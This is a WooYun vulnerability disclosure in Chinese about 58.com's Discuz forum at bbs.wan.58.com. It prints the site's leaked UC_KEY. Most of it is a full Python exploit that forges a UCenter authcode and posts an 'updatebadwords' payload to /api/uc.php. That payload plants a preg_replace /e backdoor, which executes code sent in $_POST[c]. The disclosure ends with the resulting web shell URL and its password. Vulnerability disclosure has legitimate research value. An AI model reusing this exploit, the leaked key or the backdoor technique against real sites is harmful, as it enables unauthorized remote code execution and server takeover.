漏洞详情披露状态： 2016-05-08： 细节已通知厂商并且等待厂商处理中2016-05-08： 厂商已查看当前漏洞内容,细节仅向厂商公开2016-05-13： 厂商已经主动忽略漏洞，细节向公众公开简要描述：58同城详细说明：在乌云上发现 58 UC_KEY一个网址 http://bbs.wan.58.comUC_KEY Uet5r701maVbU04eIb49t2f2y021T2c2K3q9Tdi5Q16f35M3w1XeC7Z9n6X353A8用这个方法 import sysimport hashlibimport timeimport mathimport base64import urllib2import urllibimport reimport requestsimport jsonglobal cookieglobal formhashdef microtime(get_as_float = False) :if get_as_float:return time.time()else:return '%.8f %d' % math.modf(time.time())def get_authcode(string, key = ''):ckey_length = 4key = hashlib.md5(key).hexdigest()keya = hashlib.md5(key[0:16]).hexdigest()keyb = hashlib.md5(key[16:32]).hexdigest()keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()key_length = len(cryptkey)string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+stringstring_length = len(string)result = ''box = range(0, 256)rndkey = dict()for i in range(0,256):rndkey[i] = ord(cryptkey[i % key_length])j=0for i in range(0,256):j = (j + box[i] + rndkey[i]) % 256tmp = box[i]box[i] = box[j]box[j] = tmpa=0j=0for i in range(0,string_length):a = (a + 1) % 256j = (j + box[a]) % 256tmp = box[a]box[a] = box[j]box[j] = tmpresult += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))length=len(result)return keyc + base64.b64encode(result).replace('=', '')def get_cookie_formhash(host):global cookieglobal formhashheaders = {'content-type': 'application/json'}r=requests.get(host,headers=headers)cookie=r.cookieshash=re.findall(r'formhash" value="[0-9A-z]{1,10}"',r.text)_formhash=re.findall(r'"[0-9A-z]{1,10}"',hash[0])formhash=_formhash[0].replace('"','')def getshell(host,key):global cookieglobal formhashheader = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}tm=time.time()+10*3600agent=hashlib.md5("Mozilla/5.0 (Windows NT 6.1; WOW64)")string="agent=%s&time=%s&action=updatebadwords" % (agent,tm)code=urllib.quote(get_authcode(string,key))get_cookie_formhash(host)url="%s/api/uc.php?code=%s&formhash=%s" % (host,code,formhash)payload='''<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="0"><item id="findpattern">/admin/e</item><item id="replacement">@preg_replace(chr(47).chr(47).chr(101),$_POST[c],chr(098));</item></item></root>'''r=requests.post(url,data=payload,cookies=cookie,headers=header)print urlprint r.textif re.findall('^1',r.text):print 'success shell is %s/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin password is c' % (host)if __name__ == '__main__':commands=sys.argv[1:2]keys=sys.argv[2:]args="".join(commands)argss="".join(keys)print args,argssif len(args) < 5:sys.exit()else:getshell(args,argss)成功 shell漏洞证明：http://bbs.wan.58.com/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin c 修复方案：20吧版权声明：转载请注明来源 crocodile@乌云漏洞回应厂商回应：危害等级：无影响厂商忽略忽略时间：2016-05-13 10:10厂商回复： 漏洞Rank：15 (WooYun评价)最新状态：暂无
